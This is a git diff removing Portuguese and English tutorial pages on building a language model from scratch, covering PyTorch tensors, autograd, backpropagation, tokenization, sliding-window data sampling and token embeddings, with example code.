tensor1d = torch.tensor([1, 2, 3])
|
||||
|
||||
# Matrix (2D tensor)
|
||||
tensor2d = torch.tensor([[1, 2],
|
||||
[3, 4]])
|
||||
|
||||
# 3D Tensor
|
||||
tensor3d = torch.tensor([[[1, 2], [3, 4]],
|
||||
[[5, 6], [7, 8]]])
|
||||
```
|
||||
### Tipos de Dados de Tensor
|
||||
|
||||
Tensores PyTorch podem armazenar dados de vários tipos, como inteiros e números de ponto flutuante.
|
||||
|
||||
Você pode verificar o tipo de dado de um tensor usando o atributo `.dtype`:
|
||||
```python
|
||||
tensor1d = torch.tensor([1, 2, 3])
|
||||
print(tensor1d.dtype) # Output: torch.int64
|
||||
```
|
||||
- Tensores criados a partir de inteiros Python são do tipo `torch.int64`.
|
||||
- Tensores criados a partir de floats Python são do tipo `torch.float32`.
|
||||
|
||||
Para mudar o tipo de dados de um tensor, use o método `.to()`:
|
||||
```python
|
||||
float_tensor = tensor1d.to(torch.float32)
|
||||
print(float_tensor.dtype) # Output: torch.float32
|
||||
```
|
||||
### Operações Comuns de Tensor
|
||||
|
||||
PyTorch fornece uma variedade de operações para manipular tensores:
|
||||
|
||||
- **Acessando a Forma**: Use `.shape` para obter as dimensões de um tensor.
|
||||
|
||||
```python
|
||||
print(tensor2d.shape) # Saída: torch.Size([2, 2])
|
||||
```
|
||||
|
||||
- **Redimensionando Tensores**: Use `.reshape()` ou `.view()` para mudar a forma.
|
||||
|
||||
```python
|
||||
reshaped = tensor2d.reshape(4, 1)
|
||||
```
|
||||
|
||||
- **Transpondo Tensores**: Use `.T` para transpor um tensor 2D.
|
||||
|
||||
```python
|
||||
transposed = tensor2d.T
|
||||
```
|
||||
|
||||
- **Multiplicação de Matrizes**: Use `.matmul()` ou o operador `@`.
|
||||
|
||||
```python
|
||||
result = tensor2d @ tensor2d.T
|
||||
```
|
||||
|
||||
### Importância no Aprendizado Profundo
|
||||
|
||||
Tensores são essenciais no PyTorch para construir e treinar redes neurais:
|
||||
|
||||
- Eles armazenam dados de entrada, pesos e viés.
|
||||
- Facilitam operações necessárias para passes diretos e reversos em algoritmos de treinamento.
|
||||
- Com autograd, tensores permitem o cálculo automático de gradientes, simplificando o processo de otimização.
|
||||
|
||||
## Diferenciação Automática
|
||||
|
||||
A diferenciação automática (AD) é uma técnica computacional usada para **avaliar as derivadas (gradientes)** de funções de forma eficiente e precisa. No contexto de redes neurais, a AD permite o cálculo de gradientes necessários para **algoritmos de otimização como o gradiente descendente**. O PyTorch fornece um mecanismo de diferenciação automática chamado **autograd** que simplifica esse processo.
|
||||
|
||||
### Explicação Matemática da Diferenciação Automática
|
||||
|
||||
**1. A Regra da Cadeia**
|
||||
|
||||
No coração da diferenciação automática está a **regra da cadeia** do cálculo. A regra da cadeia afirma que se você tem uma composição de funções, a derivada da função composta é o produto das derivadas das funções compostas.
|
||||
|
||||
Matematicamente, se `y=f(u)` e `u=g(x)`, então a derivada de `y` em relação a `x` é:
|
||||
|
||||
<figure><img src="../../images/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**2. Grafo Computacional**
|
||||
|
||||
Na AD, os cálculos são representados como nós em um **grafo computacional**, onde cada nó corresponde a uma operação ou uma variável. Ao percorrer esse grafo, podemos calcular derivadas de forma eficiente.
|
||||
|
||||
3. Exemplo
|
||||
|
||||
Vamos considerar uma função simples:
|
||||
|
||||
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Onde:
|
||||
|
||||
- `σ(z)` é a função sigmoide.
|
||||
- `y=1.0` é o rótulo alvo.
|
||||
- `L` é a perda.
|
||||
|
||||
Queremos calcular o gradiente da perda `L` em relação ao peso `w` e ao viés `b`.
|
||||
|
||||
**4. Calculando Gradientes Manualmente**
|
||||
|
||||
<figure><img src="../../images/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**5. Cálculo Numérico**
|
||||
|
||||
<figure><img src="../../images/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Implementando Diferenciação Automática no PyTorch
|
||||
|
||||
Agora, vamos ver como o PyTorch automatiza esse processo.
|
||||
```python
|
||||
pythonCopy codeimport torch
|
||||
import torch.nn.functional as F
|
||||
|
||||
# Define input and target
|
||||
x = torch.tensor([1.1])
|
||||
y = torch.tensor([1.0])
|
||||
|
||||
# Initialize weights with requires_grad=True to track computations
|
||||
w = torch.tensor([2.2], requires_grad=True)
|
||||
b = torch.tensor([0.0], requires_grad=True)
|
||||
|
||||
# Forward pass
|
||||
z = x * w + b
|
||||
a = torch.sigmoid(z)
|
||||
loss = F.binary_cross_entropy(a, y)
|
||||
|
||||
# Backward pass
|
||||
loss.backward()
|
||||
|
||||
# Gradients
|
||||
print("Gradient w.r.t w:", w.grad)
|
||||
print("Gradient w.r.t b:", b.grad)
|
||||
```
|
||||
**Saída:**
|
||||
```css
|
||||
cssCopy codeGradient w.r.t w: tensor([-0.0898])
|
||||
Gradient w.r.t b: tensor([-0.0817])
|
||||
```
|
||||
## Retropropagação em Redes Neurais Maiores
|
||||
|
||||
### **1. Estendendo para Redes Multicamadas**
|
||||
|
||||
Em redes neurais maiores com múltiplas camadas, o processo de computação de gradientes se torna mais complexo devido ao aumento do número de parâmetros e operações. No entanto, os princípios fundamentais permanecem os mesmos:
|
||||
|
||||
- **Passagem Direta:** Calcule a saída da rede passando as entradas por cada camada.
|
||||
- **Calcule a Perda:** Avalie a função de perda usando a saída da rede e os rótulos alvo.
|
||||
- **Passagem Reversa (Retropropagação):** Calcule os gradientes da perda em relação a cada parâmetro na rede aplicando a regra da cadeia recursivamente da camada de saída de volta para a camada de entrada.
|
||||
|
||||
### **2. Algoritmo de Retropropagação**
|
||||
|
||||
- **Passo 1:** Inicialize os parâmetros da rede (pesos e viéses).
|
||||
- **Passo 2:** Para cada exemplo de treinamento, realize uma passagem direta para calcular as saídas.
|
||||
- **Passo 3:** Calcule a perda.
|
||||
- **Passo 4:** Calcule os gradientes da perda em relação a cada parâmetro usando a regra da cadeia.
|
||||
- **Passo 5:** Atualize os parâmetros usando um algoritmo de otimização (por exemplo, descida de gradiente).
|
||||
|
||||
### **3. Representação Matemática**
|
||||
|
||||
Considere uma rede neural simples com uma camada oculta:
|
||||
|
||||
<figure><img src="../../images/image (5) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### **4. Implementação em PyTorch**
|
||||
|
||||
PyTorch simplifica esse processo com seu motor autograd.
|
||||
```python
|
||||
import torch
|
||||
import torch.nn as nn
|
||||
import torch.optim as optim
|
||||
|
||||
# Define a simple neural network
|
||||
class SimpleNet(nn.Module):
|
||||
def __init__(self):
|
||||
super(SimpleNet, self).__init__()
|
||||
self.fc1 = nn.Linear(10, 5) # Input layer to hidden layer
|
||||
self.relu = nn.ReLU()
|
||||
self.fc2 = nn.Linear(5, 1) # Hidden layer to output layer
|
||||
self.sigmoid = nn.Sigmoid()
|
||||
|
||||
def forward(self, x):
|
||||
h = self.relu(self.fc1(x))
|
||||
y_hat = self.sigmoid(self.fc2(h))
|
||||
return y_hat
|
||||
|
||||
# Instantiate the network
|
||||
net = SimpleNet()
|
||||
|
||||
# Define loss function and optimizer
|
||||
criterion = nn.BCELoss()
|
||||
optimizer = optim.SGD(net.parameters(), lr=0.01)
|
||||
|
||||
# Sample data
|
||||
inputs = torch.randn(1, 10)
|
||||
labels = torch.tensor([1.0])
|
||||
|
||||
# Training loop
|
||||
optimizer.zero_grad() # Clear gradients
|
||||
outputs = net(inputs) # Forward pass
|
||||
loss = criterion(outputs, labels) # Compute loss
|
||||
loss.backward() # Backward pass (compute gradients)
|
||||
optimizer.step() # Update parameters
|
||||
|
||||
# Accessing gradients
|
||||
for name, param in net.named_parameters():
|
||||
if param.requires_grad:
|
||||
print(f"Gradient of {name}: {param.grad}")
|
||||
```
|
||||
Neste código:
|
||||
|
||||
- **Forward Pass:** Computa as saídas da rede.
|
||||
- **Backward Pass:** `loss.backward()` computa os gradientes da perda em relação a todos os parâmetros.
|
||||
- **Parameter Update:** `optimizer.step()` atualiza os parâmetros com base nos gradientes computados.
|
||||
|
||||
### **5. Entendendo o Backward Pass**
|
||||
|
||||
Durante o backward pass:
|
||||
|
||||
- PyTorch percorre o grafo computacional em ordem reversa.
|
||||
- Para cada operação, aplica a regra da cadeia para computar gradientes.
|
||||
- Gradientes são acumulados no atributo `.grad` de cada tensor de parâmetro.
|
||||
|
||||
### **6. Vantagens da Diferenciação Automática**
|
||||
|
||||
- **Eficiência:** Evita cálculos redundantes reutilizando resultados intermediários.
|
||||
- **Precisão:** Fornece derivadas exatas até a precisão da máquina.
|
||||
- **Facilidade de Uso:** Elimina o cálculo manual de derivadas.
|
@ -1,95 +0,0 @@
|
||||
# 1. Tokenização
|
||||
|
||||
## Tokenização
|
||||
|
||||
**Tokenização** é o processo de dividir dados, como texto, em partes menores e gerenciáveis chamadas _tokens_. Cada token é então atribuído a um identificador numérico único (ID). Este é um passo fundamental na preparação do texto para processamento por modelos de aprendizado de máquina, especialmente em processamento de linguagem natural (NLP).
|
||||
|
||||
> [!TIP]
|
||||
> O objetivo desta fase inicial é muito simples: **Dividir a entrada em tokens (ids) de uma maneira que faça sentido**.
|
||||
|
||||
### **Como a Tokenização Funciona**
|
||||
|
||||
1. **Dividindo o Texto:**
|
||||
- **Tokenizador Básico:** Um tokenizador simples pode dividir o texto em palavras individuais e sinais de pontuação, removendo espaços.
|
||||
- _Exemplo:_\
|
||||
Texto: `"Olá, mundo!"`\
|
||||
Tokens: `["Olá", ",", "mundo", "!"]`
|
||||
2. **Criando um Vocabulário:**
|
||||
- Para converter tokens em IDs numéricos, um **vocabulário** é criado. Este vocabulário lista todos os tokens únicos (palavras e símbolos) e atribui a cada um um ID específico.
|
||||
- **Tokens Especiais:** Estes são símbolos especiais adicionados ao vocabulário para lidar com vários cenários:
|
||||
- `[BOS]` (Início da Sequência): Indica o início de um texto.
|
||||
- `[EOS]` (Fim da Sequência): Indica o fim de um texto.
|
||||
- `[PAD]` (Preenchimento): Usado para fazer todas as sequências em um lote terem o mesmo comprimento.
|
||||
- `[UNK]` (Desconhecido): Representa tokens que não estão no vocabulário.
|
||||
- _Exemplo:_\
|
||||
Se `"Olá"` é atribuído ao ID `64`, `","` é `455`, `"mundo"` é `78`, e `"!"` é `467`, então:\
|
||||
`"Olá, mundo!"` → `[64, 455, 78, 467]`
|
||||
- **Tratando Palavras Desconhecidas:**\
|
||||
Se uma palavra como `"Tchau"` não está no vocabulário, ela é substituída por `[UNK]`.\
|
||||
`"Tchau, mundo!"` → `["[UNK]", ",", "mundo", "!"]` → `[987, 455, 78, 467]`\
|
||||
_(Assumindo que `[UNK]` tem ID `987`)_
|
||||
|
||||
### **Métodos Avançados de Tokenização**
|
||||
|
||||
Enquanto o tokenizador básico funciona bem para textos simples, ele tem limitações, especialmente com vocabulários grandes e ao lidar com palavras novas ou raras. Métodos avançados de tokenização abordam essas questões dividindo o texto em subunidades menores ou otimizando o processo de tokenização.
|
||||
|
||||
1. **Codificação de Par de Bytes (BPE):**
|
||||
- **Propósito:** Reduz o tamanho do vocabulário e lida com palavras raras ou desconhecidas, dividindo-as em pares de bytes que ocorrem com frequência.
|
||||
- **Como Funciona:**
|
||||
- Começa com caracteres individuais como tokens.
|
||||
- Mescla iterativamente os pares de tokens mais frequentes em um único token.
|
||||
- Continua até que não haja mais pares frequentes que possam ser mesclados.
|
||||
- **Benefícios:**
|
||||
- Elimina a necessidade de um token `[UNK]`, uma vez que todas as palavras podem ser representadas combinando tokens de subpalavras existentes.
|
||||
- Vocabulário mais eficiente e flexível.
|
||||
- _Exemplo:_\
|
||||
`"jogando"` pode ser tokenizado como `["jogar", "ndo"]` se `"jogar"` e `"ndo"` forem subpalavras frequentes.
|
||||
2. **WordPiece:**
|
||||
- **Usado Por:** Modelos como BERT.
|
||||
- **Propósito:** Semelhante ao BPE, divide palavras em unidades de subpalavras para lidar com palavras desconhecidas e reduzir o tamanho do vocabulário.
|
||||
- **Como Funciona:**
|
||||
- Começa com um vocabulário base de caracteres individuais.
|
||||
- Adiciona iterativamente a subpalavra mais frequente que maximiza a probabilidade dos dados de treinamento.
|
||||
- Usa um modelo probabilístico para decidir quais subpalavras mesclar.
|
||||
- **Benefícios:**
|
||||
- Equilibra entre ter um tamanho de vocabulário gerenciável e representar palavras de forma eficaz.
|
||||
- Lida eficientemente com palavras raras e compostas.
|
||||
- _Exemplo:_\
|
||||
`"infelicidade"` pode ser tokenizado como `["in", "felicidade"]` ou `["in", "feliz", "dade"]` dependendo do vocabulário.
|
||||
3. **Modelo de Linguagem Unigram:**
|
||||
- **Usado Por:** Modelos como SentencePiece.
|
||||
- **Propósito:** Usa um modelo probabilístico para determinar o conjunto mais provável de tokens de subpalavras.
|
||||
- **Como Funciona:**
|
||||
- Começa com um grande conjunto de tokens potenciais.
|
||||
- Remove iterativamente tokens que menos melhoram a probabilidade do modelo em relação aos dados de treinamento.
|
||||
- Finaliza um vocabulário onde cada palavra é representada pelas unidades de subpalavras mais prováveis.
|
||||
- **Benefícios:**
|
||||
- Flexível e pode modelar a linguagem de forma mais natural.
|
||||
- Muitas vezes resulta em tokenizações mais eficientes e compactas.
|
||||
- _Exemplo:_\
|
||||
`"internacionalização"` pode ser tokenizado em subpalavras menores e significativas como `["internacional", "ização"]`.
|
||||
|
||||
## Exemplo de Código
|
||||
|
||||
Vamos entender isso melhor a partir de um exemplo de código de [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb):
|
||||
```python
|
||||
# Download a text to pre-train the model
|
||||
import urllib.request
|
||||
url = ("https://raw.githubusercontent.com/rasbt/LLMs-from-scratch/main/ch02/01_main-chapter-code/the-verdict.txt")
|
||||
file_path = "the-verdict.txt"
|
||||
urllib.request.urlretrieve(url, file_path)
|
||||
|
||||
with open("the-verdict.txt", "r", encoding="utf-8") as f:
|
||||
raw_text = f.read()
|
||||
|
||||
# Tokenize the code using GPT2 tokenizer version
|
||||
import tiktoken
|
||||
token_ids = tiktoken.get_encoding("gpt2").encode(txt, allowed_special={"[EOS]"}) # Allow the user of the tag "[EOS]"
|
||||
|
||||
# Print first 50 tokens
|
||||
print(token_ids[:50])
|
||||
#[40, 367, 2885, 1464, 1807, 3619, 402, 271, 10899, 2138, 257, 7026, 15632, 438, 2016, 257, 922, 5891, 1576, 438, 568, 340, 373, 645, 1049, 5975, 284, 502, 284, 3285, 326, 11, 287, 262, 6001, 286, 465, 13476, 11, 339, 550, 5710, 465, 12036, 11, 6405, 257, 5527, 27075, 11]
|
||||
```
|
||||
## Referências
|
||||
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
@ -1,240 +0,0 @@
|
||||
# 2. Data Sampling
|
||||
|
||||
## **Data Sampling**
|
||||
|
||||
**Data Sampling** is a crucial process in preparing data for training large language models (LLMs) like GPT. It involves organizing text data into input and target sequences that the model uses to learn how to predict the next word (or token) based on the preceding words. Proper data sampling ensures that the model effectively captures language patterns and dependencies.
|
||||
|
||||
> [!TIP]
|
||||
> The goal of this second phase is very simple: **Sample the input data and prepare it for the training phase usually by separating the dataset into sentences of a specific length and generating also the expected response.**
|
||||
|
||||
### **Why Data Sampling Matters**
|
||||
|
||||
LLMs such as GPT are trained to generate or predict text by understanding the context provided by previous words. To achieve this, the training data must be structured in a way that the model can learn the relationship between sequences of words and their subsequent words. This structured approach allows the model to generalize and generate coherent and contextually relevant text.
|
||||
|
||||
### **Key Concepts in Data Sampling**
|
||||
|
||||
1. **Tokenization:** Breaking down text into smaller units called tokens (e.g., words, subwords, or characters).
|
||||
2. **Sequence Length (max_length):** The number of tokens in each input sequence.
|
||||
3. **Sliding Window:** A method to create overlapping input sequences by moving a window over the tokenized text.
|
||||
4. **Stride:** The number of tokens the sliding window moves forward to create the next sequence.
|
||||
|
||||
### **Step-by-Step Example**
|
||||
|
||||
Let's walk through an example to illustrate data sampling.
|
||||
|
||||
**Example Text**
|
||||
|
||||
```arduino
|
||||
"Lorem ipsum dolor sit amet, consectetur adipiscing elit."
|
||||
```
|
||||
|
||||
**Tokenization**
|
||||
|
||||
Assume we use a **basic tokenizer** that splits the text into words and punctuation marks:
|
||||
|
||||
```vbnet
|
||||
Tokens: ["Lorem", "ipsum", "dolor", "sit", "amet,", "consectetur", "adipiscing", "elit."]
|
||||
```
|
||||
|
||||
**Parameters**
|
||||
|
||||
- **Max Sequence Length (max_length):** 4 tokens
|
||||
- **Sliding Window Stride:** 1 token
|
||||
|
||||
**Creating Input and Target Sequences**
|
||||
|
||||
1. **Sliding Window Approach:**
|
||||
- **Input Sequences:** Each input sequence consists of `max_length` tokens.
|
||||
- **Target Sequences:** Each target sequence consists of the tokens that immediately follow the corresponding input sequence.
|
||||
2. **Generating Sequences:**
|
||||
|
||||
<table><thead><tr><th width="177">Window Position</th><th>Input Sequence</th><th>Target Sequence</th></tr></thead><tbody><tr><td>1</td><td>["Lorem", "ipsum", "dolor", "sit"]</td><td>["ipsum", "dolor", "sit", "amet,"]</td></tr><tr><td>2</td><td>["ipsum", "dolor", "sit", "amet,"]</td><td>["dolor", "sit", "amet,", "consectetur"]</td></tr><tr><td>3</td><td>["dolor", "sit", "amet,", "consectetur"]</td><td>["sit", "amet,", "consectetur", "adipiscing"]</td></tr><tr><td>4</td><td>["sit", "amet,", "consectetur", "adipiscing"]</td><td>["amet,", "consectetur", "adipiscing", "elit."]</td></tr></tbody></table>
|
||||
|
||||
3. **Resulting Input and Target Arrays:**
|
||||
|
||||
- **Input:**
|
||||
|
||||
```python
|
||||
[
|
||||
["Lorem", "ipsum", "dolor", "sit"],
|
||||
["ipsum", "dolor", "sit", "amet,"],
|
||||
["dolor", "sit", "amet,", "consectetur"],
|
||||
["sit", "amet,", "consectetur", "adipiscing"],
|
||||
]
|
||||
```
|
||||
|
||||
- **Target:**
|
||||
|
||||
```python
|
||||
[
|
||||
["ipsum", "dolor", "sit", "amet,"],
|
||||
["dolor", "sit", "amet,", "consectetur"],
|
||||
["sit", "amet,", "consectetur", "adipiscing"],
|
||||
["amet,", "consectetur", "adipiscing", "elit."],
|
||||
]
|
||||
```
|
||||
|
||||
**Visual Representation**
|
||||
|
||||
<table><thead><tr><th width="222">Token Position</th><th>Token</th></tr></thead><tbody><tr><td>1</td><td>Lorem</td></tr><tr><td>2</td><td>ipsum</td></tr><tr><td>3</td><td>dolor</td></tr><tr><td>4</td><td>sit</td></tr><tr><td>5</td><td>amet,</td></tr><tr><td>6</td><td>consectetur</td></tr><tr><td>7</td><td>adipiscing</td></tr><tr><td>8</td><td>elit.</td></tr></tbody></table>
|
||||
|
||||
**Sliding Window with Stride 1:**
|
||||
|
||||
- **First Window (Positions 1-4):** \["Lorem", "ipsum", "dolor", "sit"] → **Target:** \["ipsum", "dolor", "sit", "amet,"]
|
||||
- **Second Window (Positions 2-5):** \["ipsum", "dolor", "sit", "amet,"] → **Target:** \["dolor", "sit", "amet,", "consectetur"]
|
||||
- **Third Window (Positions 3-6):** \["dolor", "sit", "amet,", "consectetur"] → **Target:** \["sit", "amet,", "consectetur", "adipiscing"]
|
||||
- **Fourth Window (Positions 4-7):** \["sit", "amet,", "consectetur", "adipiscing"] → **Target:** \["amet,", "consectetur", "adipiscing", "elit."]
|
||||
|
||||
**Understanding Stride**
|
||||
|
||||
- **Stride of 1:** The window moves forward by one token each time, resulting in highly overlapping sequences. This can lead to better learning of contextual relationships but may increase the risk of overfitting since similar data points are repeated.
|
||||
- **Stride of 2:** The window moves forward by two tokens each time, reducing overlap. This decreases redundancy and computational load but might miss some contextual nuances.
|
||||
- **Stride Equal to max_length:** The window moves forward by the entire window size, resulting in non-overlapping sequences. This minimizes data redundancy but may limit the model's ability to learn dependencies across sequences.
|
||||
|
||||
**Example with Stride of 2:**
|
||||
|
||||
Using the same tokenized text and `max_length` of 4:
|
||||
|
||||
- **First Window (Positions 1-4):** \["Lorem", "ipsum", "dolor", "sit"] → **Target:** \["ipsum", "dolor", "sit", "amet,"]
|
||||
- **Second Window (Positions 3-6):** \["dolor", "sit", "amet,", "consectetur"] → **Target:** \["sit", "amet,", "consectetur", "adipiscing"]
|
||||
- **Third Window (Positions 5-8):** \["amet,", "consectetur", "adipiscing", "elit."] → **Target:** \["consectetur", "adipiscing", "elit.", "sed"] _(Assuming continuation)_
|
||||
|
||||
## Code Example
|
||||
|
||||
Let's understand this better from a code example from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb):
|
||||
|
||||
```python
|
||||
# Download the text to pre-train the LLM
|
||||
import urllib.request
|
||||
url = ("https://raw.githubusercontent.com/rasbt/LLMs-from-scratch/main/ch02/01_main-chapter-code/the-verdict.txt")
|
||||
file_path = "the-verdict.txt"
|
||||
urllib.request.urlretrieve(url, file_path)
|
||||
|
||||
with open("the-verdict.txt", "r", encoding="utf-8") as f:
|
||||
raw_text = f.read()
|
||||
|
||||
"""
|
||||
Create a class that will receive some params lie tokenizer and text
|
||||
and will prepare the input chunks and the target chunks to prepare
|
||||
the LLM to learn which next token to generate
|
||||
"""
|
||||
import torch
|
||||
from torch.utils.data import Dataset, DataLoader
|
||||
|
||||
class GPTDatasetV1(Dataset):
|
||||
def __init__(self, txt, tokenizer, max_length, stride):
|
||||
self.input_ids = []
|
||||
self.target_ids = []
|
||||
|
||||
# Tokenize the entire text
|
||||
token_ids = tokenizer.encode(txt, allowed_special={"<|endoftext|>"})
|
||||
|
||||
# Use a sliding window to chunk the book into overlapping sequences of max_length
|
||||
for i in range(0, len(token_ids) - max_length, stride):
|
||||
input_chunk = token_ids[i:i + max_length]
|
||||
target_chunk = token_ids[i + 1: i + max_length + 1]
|
||||
self.input_ids.append(torch.tensor(input_chunk))
|
||||
self.target_ids.append(torch.tensor(target_chunk))
|
||||
|
||||
def __len__(self):
|
||||
return len(self.input_ids)
|
||||
|
||||
def __getitem__(self, idx):
|
||||
return self.input_ids[idx], self.target_ids[idx]
|
||||
|
||||
|
||||
"""
|
||||
Create a data loader which given the text and some params will
|
||||
prepare the inputs and targets with the previous class and
|
||||
then create a torch DataLoader with the info
|
||||
"""
|
||||
|
||||
import tiktoken
|
||||
|
||||
def create_dataloader_v1(txt, batch_size=4, max_length=256,
|
||||
stride=128, shuffle=True, drop_last=True,
|
||||
num_workers=0):
|
||||
|
||||
# Initialize the tokenizer
|
||||
tokenizer = tiktoken.get_encoding("gpt2")
|
||||
|
||||
# Create dataset
|
||||
dataset = GPTDatasetV1(txt, tokenizer, max_length, stride)
|
||||
|
||||
# Create dataloader
|
||||
dataloader = DataLoader(
|
||||
dataset,
|
||||
batch_size=batch_size,
|
||||
shuffle=shuffle,
|
||||
drop_last=drop_last,
|
||||
num_workers=num_workers
|
||||
)
|
||||
|
||||
return dataloader
|
||||
|
||||
|
||||
"""
|
||||
Finally, create the data loader with the params we want:
|
||||
- The used text for training
|
||||
- batch_size: The size of each batch
|
||||
- max_length: The size of each entry on each batch
|
||||
- stride: The sliding window (how many tokens should the next entry advance compared to the previous one). The smaller the more overfitting, usually this is equals to the max_length so the same tokens aren't repeated.
|
||||
- shuffle: Re-order randomly
|
||||
"""
|
||||
dataloader = create_dataloader_v1(
|
||||
raw_text, batch_size=8, max_length=4, stride=1, shuffle=False
|
||||
)
|
||||
|
||||
data_iter = iter(dataloader)
|
||||
first_batch = next(data_iter)
|
||||
print(first_batch)
|
||||
|
||||
# Note the batch_size of 8, the max_length of 4 and the stride of 1
|
||||
[
|
||||
# Input
|
||||
tensor([[ 40, 367, 2885, 1464],
|
||||
[ 367, 2885, 1464, 1807],
|
||||
[ 2885, 1464, 1807, 3619],
|
||||
[ 1464, 1807, 3619, 402],
|
||||
[ 1807, 3619, 402, 271],
|
||||
[ 3619, 402, 271, 10899],
|
||||
[ 402, 271, 10899, 2138],
|
||||
[ 271, 10899, 2138, 257]]),
|
||||
# Target
|
||||
tensor([[ 367, 2885, 1464, 1807],
|
||||
[ 2885, 1464, 1807, 3619],
|
||||
[ 1464, 1807, 3619, 402],
|
||||
[ 1807, 3619, 402, 271],
|
||||
[ 3619, 402, 271, 10899],
|
||||
[ 402, 271, 10899, 2138],
|
||||
[ 271, 10899, 2138, 257],
|
||||
[10899, 2138, 257, 7026]])
|
||||
]
|
||||
|
||||
# With stride=4 this will be the result:
|
||||
[
|
||||
# Input
|
||||
tensor([[ 40, 367, 2885, 1464],
|
||||
[ 1807, 3619, 402, 271],
|
||||
[10899, 2138, 257, 7026],
|
||||
[15632, 438, 2016, 257],
|
||||
[ 922, 5891, 1576, 438],
|
||||
[ 568, 340, 373, 645],
|
||||
[ 1049, 5975, 284, 502],
|
||||
[ 284, 3285, 326, 11]]),
|
||||
# Target
|
||||
tensor([[ 367, 2885, 1464, 1807],
|
||||
[ 3619, 402, 271, 10899],
|
||||
[ 2138, 257, 7026, 15632],
|
||||
[ 438, 2016, 257, 922],
|
||||
[ 5891, 1576, 438, 568],
|
||||
[ 340, 373, 645, 1049],
|
||||
[ 5975, 284, 502, 284],
|
||||
[ 3285, 326, 11, 287]])
|
||||
]
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
|
@ -1,203 +0,0 @@
|
||||
# 3. Token Embeddings
|
||||
|
||||
## Token Embeddings
|
||||
|
||||
Após a tokenização dos dados textuais, o próximo passo crítico na preparação de dados para treinar grandes modelos de linguagem (LLMs) como o GPT é criar **token embeddings**. Token embeddings transformam tokens discretos (como palavras ou subpalavras) em vetores numéricos contínuos que o modelo pode processar e aprender. Esta explicação detalha os token embeddings, sua inicialização, uso e o papel dos embeddings posicionais em melhorar a compreensão do modelo sobre sequências de tokens.
|
||||
|
||||
> [!TIP]
|
||||
> O objetivo desta terceira fase é muito simples: **Atribuir a cada um dos tokens anteriores no vocabulário um vetor das dimensões desejadas para treinar o modelo.** Cada palavra no vocabulário será um ponto em um espaço de X dimensões.\
|
||||
> Note que inicialmente a posição de cada palavra no espaço é apenas inicializada "aleatoriamente" e essas posições são parâmetros treináveis (serão melhorados durante o treinamento).
|
||||
>
|
||||
> Além disso, durante o **token embedding** **outra camada de embeddings é criada** que representa (neste caso) a **posição absoluta da palavra na frase de treinamento**. Dessa forma, uma palavra em diferentes posições na frase terá uma representação (significado) diferente.
|
||||
|
||||
### **O Que São Token Embeddings?**
|
||||
|
||||
**Token Embeddings** são representações numéricas de tokens em um espaço vetorial contínuo. Cada token no vocabulário está associado a um vetor único de dimensões fixas. Esses vetores capturam informações semânticas e sintáticas sobre os tokens, permitindo que o modelo entenda relacionamentos e padrões nos dados.
|
||||
|
||||
- **Tamanho do Vocabulário:** O número total de tokens únicos (por exemplo, palavras, subpalavras) no vocabulário do modelo.
|
||||
- **Dimensões do Embedding:** O número de valores numéricos (dimensões) no vetor de cada token. Dimensões mais altas podem capturar informações mais sutis, mas requerem mais recursos computacionais.
|
||||
|
||||
**Exemplo:**
|
||||
|
||||
- **Tamanho do Vocabulário:** 6 tokens \[1, 2, 3, 4, 5, 6]
|
||||
- **Dimensões do Embedding:** 3 (x, y, z)
|
||||
|
||||
### **Inicializando Token Embeddings**
|
||||
|
||||
No início do treinamento, os token embeddings são tipicamente inicializados com pequenos valores aleatórios. Esses valores iniciais são ajustados (afinados) durante o treinamento para representar melhor os significados dos tokens com base nos dados de treinamento.
|
||||
|
||||
**Exemplo PyTorch:**
|
||||
```python
|
||||
import torch
|
||||
|
||||
# Set a random seed for reproducibility
|
||||
torch.manual_seed(123)
|
||||
|
||||
# Create an embedding layer with 6 tokens and 3 dimensions
|
||||
embedding_layer = torch.nn.Embedding(6, 3)
|
||||
|
||||
# Display the initial weights (embeddings)
|
||||
print(embedding_layer.weight)
|
||||
```
|
||||
**Saída:**
|
||||
```lua
|
||||
luaCopy codeParameter containing:
|
||||
tensor([[ 0.3374, -0.1778, -0.1690],
|
||||
[ 0.9178, 1.5810, 1.3010],
|
||||
[ 1.2753, -0.2010, -0.1606],
|
||||
[-0.4015, 0.9666, -1.1481],
|
||||
[-1.1589, 0.3255, -0.6315],
|
||||
[-2.8400, -0.7849, -1.4096]], requires_grad=True)
|
||||
```
|
||||
**Explicação:**
|
||||
|
||||
- Cada linha corresponde a um token no vocabulário.
|
||||
- Cada coluna representa uma dimensão no vetor de embedding.
|
||||
- Por exemplo, o token no índice `3` tem um vetor de embedding `[-0.4015, 0.9666, -1.1481]`.
|
||||
|
||||
**Acessando o Embedding de um Token:**
|
||||
```python
|
||||
# Retrieve the embedding for the token at index 3
|
||||
token_index = torch.tensor([3])
|
||||
print(embedding_layer(token_index))
|
||||
```
|
||||
**Saída:**
|
||||
```lua
|
||||
tensor([[-0.4015, 0.9666, -1.1481]], grad_fn=<EmbeddingBackward0>)
|
||||
```
|
||||
**Interpretação:**
|
||||
|
||||
- O token no índice `3` é representado pelo vetor `[-0.4015, 0.9666, -1.1481]`.
|
||||
- Esses valores são parâmetros treináveis que o modelo ajustará durante o treinamento para representar melhor o contexto e o significado do token.
|
||||
|
||||
### **Como os Embeddings de Token Funcionam Durante o Treinamento**
|
||||
|
||||
Durante o treinamento, cada token nos dados de entrada é convertido em seu vetor de embedding correspondente. Esses vetores são então usados em vários cálculos dentro do modelo, como mecanismos de atenção e camadas de rede neural.
|
||||
|
||||
